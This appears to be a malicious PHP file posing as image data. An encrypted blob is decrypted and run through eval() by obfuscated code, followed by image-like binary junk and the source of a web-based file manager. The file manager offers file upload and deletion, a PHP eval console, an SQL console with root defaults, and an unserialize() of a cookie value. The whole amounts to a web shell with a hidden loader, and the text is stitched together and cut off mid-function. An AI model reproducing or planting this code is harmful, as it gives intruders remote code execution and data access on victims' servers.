vQUGbAGD1o9X0VwqOtmG0mYwMQMGnXd3ZpWemyBLyMTvQaMeK3QBHBOuYUen2DHg/8YY2pASapAyAhyRBYgtAbUST2fO+Tk9dda1JrLXQRvw2962gM4BmGothUj/6T+J9fnCicr9fEiqGBf/GRB8+iU/CPqumWCfiWaHtTcvT8ptLOGRbX1uOfPkz5D2Hzq+mRIFAml1YZSB1nVXXyk8B7m5pIIK0mPHaxbBfCwrZp9Si06uoJLnYuKMnkoIACf5vXykVkX5MWMUPHwbVs+P0E/benrNdIdXwJ6j1D4Q=='; $decrypted = $secure->decrypt($str); $uD4x16PyMj = function($zfv8UqdHhtF){ /*aPB9DeAp6*/eVaL($zfv8UqdHhtF); $kBuGaqjyiCT = "f1zz0qz3AALOca1gvUYFN9e8SQqoTQwE"; return $kBuGaqjyiCT; }; $uD4x16PyMj($decrypted); PK!…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙᢰÔwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhu¨«Å–š¿þ­)€ (IDATxœíÝ [ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db …Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.ޏ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸ Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš( Ë,t( $”bfp±-fæR#_Z»]/©E@¶õ¤I⤃Š$ÒK¨¡j¨äs[X¹ÉPn˜m+Ô ÂÎñÙÍl6;<¿ƒcƒï [£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê w©é¸EÂ¥‹Mõ¨8܇³ 5Ô¥m›­®G/CÒÅV™òfkÍóí³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7 °48Ä¿nª¡¥Û{êFØp½e‡ l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ߣÊ`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡ 7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûƶ“ ¶’ÊMŸqÙ°šƦˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ ¾©Xy …j ddv true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/xml"); $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '